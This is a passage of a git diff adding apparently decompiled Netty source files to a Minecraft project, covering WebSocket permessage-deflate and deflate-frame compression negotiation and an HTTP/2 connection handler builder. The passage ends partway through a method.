@@ -0,0 +1,102 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionData;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionDecoder;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionEncoder;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketServerExtension;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketServerExtensionHandshaker;
+import java.util.Collections;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DeflateFrameServerExtensionHandshaker
+  implements WebSocketServerExtensionHandshaker
+{
+  static final String X_WEBKIT_DEFLATE_FRAME_EXTENSION = "x-webkit-deflate-frame";
+  static final String DEFLATE_FRAME_EXTENSION = "deflate-frame";
+  private final int compressionLevel;
+  
+  public DeflateFrameServerExtensionHandshaker()
+  {
+    this(6);
+  }
+  
+
+
+
+
+
+  public DeflateFrameServerExtensionHandshaker(int compressionLevel)
+  {
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    this.compressionLevel = compressionLevel;
+  }
+  
+  public WebSocketServerExtension handshakeExtension(WebSocketExtensionData extensionData)
+  {
+    if ((!"x-webkit-deflate-frame".equals(extensionData.name())) && (!"deflate-frame".equals(extensionData.name())))
+    {
+      return null;
+    }
+    
+    if (extensionData.parameters().isEmpty()) {
+      return new DeflateFrameServerExtension(compressionLevel, extensionData.name());
+    }
+    return null;
+  }
+  
+  private static class DeflateFrameServerExtension implements WebSocketServerExtension
+  {
+    private final String extensionName;
+    private final int compressionLevel;
+    
+    public DeflateFrameServerExtension(int compressionLevel, String extensionName)
+    {
+      this.extensionName = extensionName;
+      this.compressionLevel = compressionLevel;
+    }
+    
+    public int rsv()
+    {
+      return 4;
+    }
+    
+    public WebSocketExtensionEncoder newExtensionEncoder()
+    {
+      return new PerFrameDeflateEncoder(compressionLevel, 15, false);
+    }
+    
+    public WebSocketExtensionDecoder newExtensionDecoder()
+    {
+      return new PerFrameDeflateDecoder(false);
+    }
+    
+    public WebSocketExtensionData newReponseData()
+    {
+      return new WebSocketExtensionData(extensionName, Collections.emptyMap());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerFrameDeflateDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerFrameDeflateDecoder.java
new file mode 100644
index 0000000..9a5b317
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerFrameDeflateDecoder.java
@@ -0,0 +1,54 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.handler.codec.http.websocketx.BinaryWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.ContinuationWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.TextWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class PerFrameDeflateDecoder
+  extends DeflateDecoder
+{
+  public PerFrameDeflateDecoder(boolean noContext)
+  {
+    super(noContext);
+  }
+  
+  public boolean acceptInboundMessage(Object msg) throws Exception
+  {
+    return (((msg instanceof TextWebSocketFrame)) || ((msg instanceof BinaryWebSocketFrame)) || ((msg instanceof ContinuationWebSocketFrame))) && ((((WebSocketFrame)msg).rsv() & 0x4) > 0);
+  }
+  
+
+
+
+  protected int newRsv(WebSocketFrame msg)
+  {
+    return msg.rsv() ^ 0x4;
+  }
+  
+  protected boolean appendFrameTail(WebSocketFrame msg)
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerFrameDeflateEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerFrameDeflateEncoder.java
new file mode 100644
index 0000000..8e49e98
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerFrameDeflateEncoder.java
@@ -0,0 +1,57 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.http.websocketx.BinaryWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.ContinuationWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.TextWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class PerFrameDeflateEncoder
+  extends DeflateEncoder
+{
+  public PerFrameDeflateEncoder(int compressionLevel, int windowSize, boolean noContext)
+  {
+    super(compressionLevel, windowSize, noContext);
+  }
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception
+  {
+    return (((msg instanceof TextWebSocketFrame)) || ((msg instanceof BinaryWebSocketFrame)) || ((msg instanceof ContinuationWebSocketFrame))) && (((WebSocketFrame)msg).content().readableBytes() > 0) && ((((WebSocketFrame)msg).rsv() & 0x4) == 0);
+  }
+  
+
+
+
+
+  protected int rsv(WebSocketFrame msg)
+  {
+    return msg.rsv() | 0x4;
+  }
+  
+  protected boolean removeFrameTail(WebSocketFrame msg)
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateClientExtensionHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateClientExtensionHandshaker.java
new file mode 100644
index 0000000..3d59c6e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateClientExtensionHandshaker.java
@@ -0,0 +1,197 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketClientExtension;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketClientExtensionHandshaker;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionData;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionDecoder;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionEncoder;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PerMessageDeflateClientExtensionHandshaker
+  implements WebSocketClientExtensionHandshaker
+{
+  private final int compressionLevel;
+  private final boolean allowClientWindowSize;
+  private final int requestedServerWindowSize;
+  private final boolean allowClientNoContext;
+  private final boolean requestedServerNoContext;
+  
+  public PerMessageDeflateClientExtensionHandshaker()
+  {
+    this(6, ZlibCodecFactory.isSupportingWindowSizeAndMemLevel(), 15, false, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public PerMessageDeflateClientExtensionHandshaker(int compressionLevel, boolean allowClientWindowSize, int requestedServerWindowSize, boolean allowClientNoContext, boolean requestedServerNoContext)
+  {
+    if ((requestedServerWindowSize > 15) || (requestedServerWindowSize < 8)) {
+      throw new IllegalArgumentException("requestedServerWindowSize: " + requestedServerWindowSize + " (expected: 8-15)");
+    }
+    
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    this.compressionLevel = compressionLevel;
+    this.allowClientWindowSize = allowClientWindowSize;
+    this.requestedServerWindowSize = requestedServerWindowSize;
+    this.allowClientNoContext = allowClientNoContext;
+    this.requestedServerNoContext = requestedServerNoContext;
+  }
+  
+  public WebSocketExtensionData newRequestData()
+  {
+    HashMap<String, String> parameters = new HashMap(4);
+    if (requestedServerWindowSize != 15) {
+      parameters.put("server_no_context_takeover", null);
+    }
+    if (allowClientNoContext) {
+      parameters.put("client_no_context_takeover", null);
+    }
+    if (requestedServerWindowSize != 15) {
+      parameters.put("server_max_window_bits", Integer.toString(requestedServerWindowSize));
+    }
+    if (allowClientWindowSize) {
+      parameters.put("client_max_window_bits", null);
+    }
+    return new WebSocketExtensionData("permessage-deflate", parameters);
+  }
+  
+  public WebSocketClientExtension handshakeExtension(WebSocketExtensionData extensionData)
+  {
+    if (!"permessage-deflate".equals(extensionData.name())) {
+      return null;
+    }
+    
+    boolean succeed = true;
+    int clientWindowSize = 15;
+    int serverWindowSize = 15;
+    boolean serverNoContext = false;
+    boolean clientNoContext = false;
+    
+    Iterator<Map.Entry<String, String>> parametersIterator = extensionData.parameters().entrySet().iterator();
+    
+    while ((succeed) && (parametersIterator.hasNext())) {
+      Map.Entry<String, String> parameter = (Map.Entry)parametersIterator.next();
+      
+      if ("client_max_window_bits".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        if (allowClientWindowSize) {
+          clientWindowSize = Integer.parseInt((String)parameter.getValue());
+        } else {
+          succeed = false;
+        }
+      } else if ("server_max_window_bits".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        serverWindowSize = Integer.parseInt((String)parameter.getValue());
+        if ((clientWindowSize > 15) || (clientWindowSize < 8)) {
+          succeed = false;
+        }
+      } else if ("client_no_context_takeover".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        if (allowClientNoContext) {
+          clientNoContext = true;
+        } else {
+          succeed = false;
+        }
+      } else if ("server_no_context_takeover".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        if (requestedServerNoContext) {
+          serverNoContext = true;
+        } else {
+          succeed = false;
+        }
+      }
+      else {
+        succeed = false;
+      }
+    }
+    
+    if (((requestedServerNoContext) && (!serverNoContext)) || (requestedServerWindowSize != serverWindowSize))
+    {
+      succeed = false;
+    }
+    
+    if (succeed) {
+      return new PermessageDeflateExtension(serverNoContext, serverWindowSize, clientNoContext, clientWindowSize);
+    }
+    
+    return null;
+  }
+  
+  private final class PermessageDeflateExtension
+    implements WebSocketClientExtension
+  {
+    private final boolean serverNoContext;
+    private final int serverWindowSize;
+    private final boolean clientNoContext;
+    private final int clientWindowSize;
+    
+    public int rsv()
+    {
+      return 4;
+    }
+    
+    public PermessageDeflateExtension(boolean serverNoContext, int serverWindowSize, boolean clientNoContext, int clientWindowSize)
+    {
+      this.serverNoContext = serverNoContext;
+      this.serverWindowSize = serverWindowSize;
+      this.clientNoContext = clientNoContext;
+      this.clientWindowSize = clientWindowSize;
+    }
+    
+    public WebSocketExtensionEncoder newExtensionEncoder()
+    {
+      return new PerMessageDeflateEncoder(compressionLevel, serverWindowSize, serverNoContext);
+    }
+    
+    public WebSocketExtensionDecoder newExtensionDecoder()
+    {
+      return new PerMessageDeflateDecoder(clientNoContext);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateDecoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateDecoder.java
new file mode 100644
index 0000000..35b08c5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateDecoder.java
@@ -0,0 +1,72 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.http.websocketx.BinaryWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.ContinuationWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.TextWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class PerMessageDeflateDecoder
+  extends DeflateDecoder
+{
+  private boolean compressing;
+  
+  public PerMessageDeflateDecoder(boolean noContext)
+  {
+    super(noContext);
+  }
+  
+  public boolean acceptInboundMessage(Object msg) throws Exception
+  {
+    return ((!(msg instanceof TextWebSocketFrame)) && (!(msg instanceof BinaryWebSocketFrame))) || (((((WebSocketFrame)msg).rsv() & 0x4) > 0) || (((msg instanceof ContinuationWebSocketFrame)) && (compressing)));
+  }
+  
+
+
+
+  protected int newRsv(WebSocketFrame msg)
+  {
+    return (msg.rsv() & 0x4) > 0 ? msg.rsv() ^ 0x4 : msg.rsv();
+  }
+  
+
+  protected boolean appendFrameTail(WebSocketFrame msg)
+  {
+    return msg.isFinalFragment();
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, WebSocketFrame msg, List<Object> out)
+    throws Exception
+  {
+    super.decode(ctx, msg, out);
+    
+    if (msg.isFinalFragment()) {
+      compressing = false;
+    } else if (((msg instanceof TextWebSocketFrame)) || ((msg instanceof BinaryWebSocketFrame))) {
+      compressing = true;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateEncoder.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateEncoder.java
new file mode 100644
index 0000000..9672bf7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateEncoder.java
@@ -0,0 +1,74 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.http.websocketx.BinaryWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.ContinuationWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.TextWebSocketFrame;
+import io.netty.handler.codec.http.websocketx.WebSocketFrame;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class PerMessageDeflateEncoder
+  extends DeflateEncoder
+{
+  private boolean compressing;
+  
+  public PerMessageDeflateEncoder(int compressionLevel, int windowSize, boolean noContext)
+  {
+    super(compressionLevel, windowSize, noContext);
+  }
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception
+  {
+    return ((!(msg instanceof TextWebSocketFrame)) && (!(msg instanceof BinaryWebSocketFrame))) || (((((WebSocketFrame)msg).rsv() & 0x4) == 0) || (((msg instanceof ContinuationWebSocketFrame)) && (compressing)));
+  }
+  
+
+
+
+  protected int rsv(WebSocketFrame msg)
+  {
+    return ((msg instanceof TextWebSocketFrame)) || ((msg instanceof BinaryWebSocketFrame)) ? msg.rsv() | 0x4 : msg.rsv();
+  }
+  
+
+  protected boolean removeFrameTail(WebSocketFrame msg)
+  {
+    return msg.isFinalFragment();
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, WebSocketFrame msg, List<Object> out)
+    throws Exception
+  {
+    super.encode(ctx, msg, out);
+    
+    if (msg.isFinalFragment()) {
+      compressing = false;
+    } else if (((msg instanceof TextWebSocketFrame)) || ((msg instanceof BinaryWebSocketFrame))) {
+      compressing = true;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateServerExtensionHandshaker.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateServerExtensionHandshaker.java
new file mode 100644
index 0000000..037c79c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/PerMessageDeflateServerExtensionHandshaker.java
@@ -0,0 +1,196 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionData;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionDecoder;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketExtensionEncoder;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketServerExtension;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketServerExtensionHandshaker;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PerMessageDeflateServerExtensionHandshaker
+  implements WebSocketServerExtensionHandshaker
+{
+  public static final int MIN_WINDOW_SIZE = 8;
+  public static final int MAX_WINDOW_SIZE = 15;
+  static final String PERMESSAGE_DEFLATE_EXTENSION = "permessage-deflate";
+  static final String CLIENT_MAX_WINDOW = "client_max_window_bits";
+  static final String SERVER_MAX_WINDOW = "server_max_window_bits";
+  static final String CLIENT_NO_CONTEXT = "client_no_context_takeover";
+  static final String SERVER_NO_CONTEXT = "server_no_context_takeover";
+  private final int compressionLevel;
+  private final boolean allowServerWindowSize;
+  private final int preferredClientWindowSize;
+  private final boolean allowServerNoContext;
+  private final boolean preferredClientNoContext;
+  
+  public PerMessageDeflateServerExtensionHandshaker()
+  {
+    this(6, ZlibCodecFactory.isSupportingWindowSizeAndMemLevel(), 15, false, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public PerMessageDeflateServerExtensionHandshaker(int compressionLevel, boolean allowServerWindowSize, int preferredClientWindowSize, boolean allowServerNoContext, boolean preferredClientNoContext)
+  {
+    if ((preferredClientWindowSize > 15) || (preferredClientWindowSize < 8)) {
+      throw new IllegalArgumentException("preferredServerWindowSize: " + preferredClientWindowSize + " (expected: 8-15)");
+    }
+    
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+    this.compressionLevel = compressionLevel;
+    this.allowServerWindowSize = allowServerWindowSize;
+    this.preferredClientWindowSize = preferredClientWindowSize;
+    this.allowServerNoContext = allowServerNoContext;
+    this.preferredClientNoContext = preferredClientNoContext;
+  }
+  
+  public WebSocketServerExtension handshakeExtension(WebSocketExtensionData extensionData)
+  {
+    if (!"permessage-deflate".equals(extensionData.name())) {
+      return null;
+    }
+    
+    boolean deflateEnabled = true;
+    int clientWindowSize = 15;
+    int serverWindowSize = 15;
+    boolean serverNoContext = false;
+    boolean clientNoContext = false;
+    
+    Iterator<Map.Entry<String, String>> parametersIterator = extensionData.parameters().entrySet().iterator();
+    
+    while ((deflateEnabled) && (parametersIterator.hasNext())) {
+      Map.Entry<String, String> parameter = (Map.Entry)parametersIterator.next();
+      
+      if ("client_max_window_bits".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        clientWindowSize = preferredClientWindowSize;
+      } else if ("server_max_window_bits".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        if (allowServerWindowSize) {
+          serverWindowSize = Integer.parseInt((String)parameter.getValue());
+          if ((serverWindowSize > 15) || (serverWindowSize < 8)) {
+            deflateEnabled = false;
+          }
+        } else {
+          deflateEnabled = false;
+        }
+      } else if ("client_no_context_takeover".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        clientNoContext = preferredClientNoContext;
+      } else if ("server_no_context_takeover".equalsIgnoreCase((String)parameter.getKey()))
+      {
+        if (allowServerNoContext) {
+          serverNoContext = true;
+        } else {
+          deflateEnabled = false;
+        }
+      }
+      else {
+        deflateEnabled = false;
+      }
+    }
+    
+    if (deflateEnabled) {
+      return new PermessageDeflateExtension(compressionLevel, serverNoContext, serverWindowSize, clientNoContext, clientWindowSize);
+    }
+    
+    return null;
+  }
+  
+  private static class PermessageDeflateExtension
+    implements WebSocketServerExtension
+  {
+    private final int compressionLevel;
+    private final boolean serverNoContext;
+    private final int serverWindowSize;
+    private final boolean clientNoContext;
+    private final int clientWindowSize;
+    
+    public PermessageDeflateExtension(int compressionLevel, boolean serverNoContext, int serverWindowSize, boolean clientNoContext, int clientWindowSize)
+    {
+      this.compressionLevel = compressionLevel;
+      this.serverNoContext = serverNoContext;
+      this.serverWindowSize = serverWindowSize;
+      this.clientNoContext = clientNoContext;
+      this.clientWindowSize = clientWindowSize;
+    }
+    
+    public int rsv()
+    {
+      return 4;
+    }
+    
+    public WebSocketExtensionEncoder newExtensionEncoder()
+    {
+      return new PerMessageDeflateEncoder(compressionLevel, clientWindowSize, clientNoContext);
+    }
+    
+    public WebSocketExtensionDecoder newExtensionDecoder()
+    {
+      return new PerMessageDeflateDecoder(serverNoContext);
+    }
+    
+    public WebSocketExtensionData newReponseData()
+    {
+      HashMap<String, String> parameters = new HashMap(4);
+      if (serverNoContext) {
+        parameters.put("server_no_context_takeover", null);
+      }
+      if (clientNoContext) {
+        parameters.put("client_no_context_takeover", null);
+      }
+      if (serverWindowSize != 15) {
+        parameters.put("server_max_window_bits", Integer.toString(serverWindowSize));
+      }
+      if (clientWindowSize != 15) {
+        parameters.put("client_max_window_bits", Integer.toString(clientWindowSize));
+      }
+      return new WebSocketExtensionData("permessage-deflate", parameters);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/WebSocketClientCompressionHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/WebSocketClientCompressionHandler.java
new file mode 100644
index 0000000..bec0cbd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/WebSocketClientCompressionHandler.java
@@ -0,0 +1,35 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketClientExtensionHandler;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketClientExtensionHandshaker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public final class WebSocketClientCompressionHandler
+  extends WebSocketClientExtensionHandler
+{
+  public static final WebSocketClientCompressionHandler INSTANCE = new WebSocketClientCompressionHandler();
+  
+  private WebSocketClientCompressionHandler() {
+    super(new WebSocketClientExtensionHandshaker[] { new PerMessageDeflateClientExtensionHandshaker(), new DeflateFrameClientExtensionHandshaker(false), new DeflateFrameClientExtensionHandshaker(true) });
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/WebSocketServerCompressionHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/WebSocketServerCompressionHandler.java
new file mode 100644
index 0000000..debee66
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/extensions/compression/WebSocketServerCompressionHandler.java
@@ -0,0 +1,34 @@
+package io.netty.handler.codec.http.websocketx.extensions.compression;
+
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketServerExtensionHandler;
+import io.netty.handler.codec.http.websocketx.extensions.WebSocketServerExtensionHandshaker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerCompressionHandler
+  extends WebSocketServerExtensionHandler
+{
+  public WebSocketServerCompressionHandler()
+  {
+    super(new WebSocketServerExtensionHandshaker[] { new PerMessageDeflateServerExtensionHandshaker(), new DeflateFrameServerExtensionHandshaker() });
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2ConnectionHandlerBuilder.java b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2ConnectionHandlerBuilder.java
new file mode 100644
index 0000000..deec5f6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/AbstractHttp2ConnectionHandlerBuilder.java
@@ -0,0 +1,414 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractHttp2ConnectionHandlerBuilder<T extends Http2ConnectionHandler, B extends AbstractHttp2ConnectionHandlerBuilder<T, B>>
+{
+  private static final long DEFAULT_GRACEFUL_SHUTDOWN_TIMEOUT_MILLIS = TimeUnit.MILLISECONDS.convert(30L, TimeUnit.SECONDS);
+  private static final Http2HeadersEncoder.SensitivityDetector DEFAULT_HEADER_SENSITIVITY_DETECTOR = Http2HeadersEncoder.NEVER_SENSITIVE;
+  
+
+  private Http2Settings initialSettings = new Http2Settings();
+  private Http2FrameListener frameListener;
+  private long gracefulShutdownTimeoutMillis = DEFAULT_GRACEFUL_SHUTDOWN_TIMEOUT_MILLIS;
+  
+  private Boolean isServer;
+  
+  private Http2Connection connection;
+  
+  private Http2ConnectionDecoder decoder;
+  
+  private Http2ConnectionEncoder encoder;
+  
+  private Boolean validateHeaders;
+  
+  private Http2FrameLogger frameLogger;
+  
+  private Http2HeadersEncoder.SensitivityDetector headerSensitivityDetector;
+  
+  private Boolean encoderEnforceMaxConcurrentStreams;
+  
+  private Boolean encoderIgnoreMaxHeaderListSize;
+  
+
+  public AbstractHttp2ConnectionHandlerBuilder() {}
+  
+
+  protected Http2Settings initialSettings()
+  {
+    return initialSettings;
+  }
+  
+
+
+  protected B initialSettings(Http2Settings settings)
+  {
+    initialSettings = ((Http2Settings)ObjectUtil.checkNotNull(settings, "settings"));
+    return self();
+  }
+  
+
+
+
+
+  protected Http2FrameListener frameListener()
+  {
+    return frameListener;
+  }
+  
+
+
+
+  protected B frameListener(Http2FrameListener frameListener)
+  {
+    this.frameListener = ((Http2FrameListener)ObjectUtil.checkNotNull(frameListener, "frameListener"));
+    return self();
+  }
+  
+
+
+  protected long gracefulShutdownTimeoutMillis()
+  {
+    return gracefulShutdownTimeoutMillis;
+  }
+  
+
+
+  protected B gracefulShutdownTimeoutMillis(long gracefulShutdownTimeoutMillis)
+  {
+    this.gracefulShutdownTimeoutMillis = gracefulShutdownTimeoutMillis;
+    return self();
+  }
+  
+
+
+
+  protected boolean isServer()
+  {
+    return isServer != null ? isServer.booleanValue() : true;
+  }
+  
+
+
+
+  protected B server(boolean isServer)
+  {
+    enforceConstraint("server", "connection", connection);
+    enforceConstraint("server", "codec", decoder);
+    enforceConstraint("server", "codec", encoder);
+    
+    this.isServer = Boolean.valueOf(isServer);
+    return self();
+  }
+  
+
+
+
+
+  protected Http2Connection connection()
+  {
+    return connection;
+  }
+  
+
+
+  protected B connection(Http2Connection connection)
+  {
+    enforceConstraint("connection", "server", isServer);
+    enforceConstraint("connection", "codec", decoder);
+    enforceConstraint("connection", "codec", encoder);
+    
+    this.connection = ((Http2Connection)ObjectUtil.checkNotNull(connection, "connection"));
+    
+    return self();
+  }
+  
+
+
+
+
+  protected Http2ConnectionDecoder decoder()
+  {
+    return decoder;
+  }
+  
+
+
+
+
+  protected Http2ConnectionEncoder encoder()
+  {
+    return encoder;
+  }
+  
+
+
+  protected B codec(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder)
+  {
+    enforceConstraint("codec", "server", isServer);
+    enforceConstraint("codec", "connection", connection);
+    enforceConstraint("codec", "frameLogger", frameLogger);
+    enforceConstraint("codec", "validateHeaders", validateHeaders);
+    enforceConstraint("codec", "headerSensitivityDetector", headerSensitivityDetector);
+    enforceConstraint("codec", "encoderEnforceMaxConcurrentStreams", encoderEnforceMaxConcurrentStreams);
+    
+    ObjectUtil.checkNotNull(decoder, "decoder");
+    ObjectUtil.checkNotNull(encoder, "encoder");
+    
+    if (decoder.connection() != encoder.connection()) {
+      throw new IllegalArgumentException("The specified encoder and decoder have different connections.");
+    }
+    
+    this.decoder = decoder;
+    this.encoder = encoder;
+    
+    return self();
+  }
+  
+
+
+
+  protected boolean isValidateHeaders()
+  {
+    return validateHeaders != null ? validateHeaders.booleanValue() : true;
+  }
+  
+
+
+
+  protected B validateHeaders(boolean validateHeaders)
+  {
+    enforceNonCodecConstraints("validateHeaders");
+    this.validateHeaders = Boolean.valueOf(validateHeaders);
+    return self();
+  }
+  
+
+
+
+
+  protected Http2FrameLogger frameLogger()
+  {
+    return frameLogger;
+  }
+  
+
+
+  protected B frameLogger(Http2FrameLogger frameLogger)
+  {
+    enforceNonCodecConstraints("frameLogger");
+    this.frameLogger = ((Http2FrameLogger)ObjectUtil.checkNotNull(frameLogger, "frameLogger"));
+    return self();
+  }
+  
+
+
+
+  protected boolean encoderEnforceMaxConcurrentStreams()
+  {
+    return encoderEnforceMaxConcurrentStreams != null ? encoderEnforceMaxConcurrentStreams.booleanValue() : false;
+  }
+  
+
+
+
+  protected B encoderEnforceMaxConcurrentStreams(boolean encoderEnforceMaxConcurrentStreams)
+  {
+    enforceNonCodecConstraints("encoderEnforceMaxConcurrentStreams");
+    this.encoderEnforceMaxConcurrentStreams = Boolean.valueOf(encoderEnforceMaxConcurrentStreams);
+    return self();
+  }
+  
+
+
+  protected Http2HeadersEncoder.SensitivityDetector headerSensitivityDetector()
+  {
+    return headerSensitivityDetector != null ? headerSensitivityDetector : DEFAULT_HEADER_SENSITIVITY_DETECTOR;
+  }
+  
+
+
+  protected B headerSensitivityDetector(Http2HeadersEncoder.SensitivityDetector headerSensitivityDetector)
+  {
+    enforceNonCodecConstraints("headerSensitivityDetector");
+    this.headerSensitivityDetector = ((Http2HeadersEncoder.SensitivityDetector)ObjectUtil.checkNotNull(headerSensitivityDetector, "headerSensitivityDetector"));
+    return self();
+  }
+  
+
+
+
+
+
+
+  protected B encoderIgnoreMaxHeaderListSize(boolean ignoreMaxHeaderListSize)
+  {
+    enforceNonCodecConstraints("encoderIgnoreMaxHeaderListSize");
+    encoderIgnoreMaxHeaderListSize = Boolean.valueOf(ignoreMaxHeaderListSize);
+    return self();
+  }
+  
+
+
+  protected T build()
+  {
+    if (encoder != null) {
+      assert (decoder != null);
+      return buildFromCodec(decoder, encoder);
+    }
+    
+    Http2Connection connection = this.connection;
+    if (connection == null) {
+      connection = new DefaultHttp2Connection(isServer());
+    }
+    
+    return buildFromConnection(connection);
+  }
+  
+  private T buildFromConnection(Http2Connection connection) {
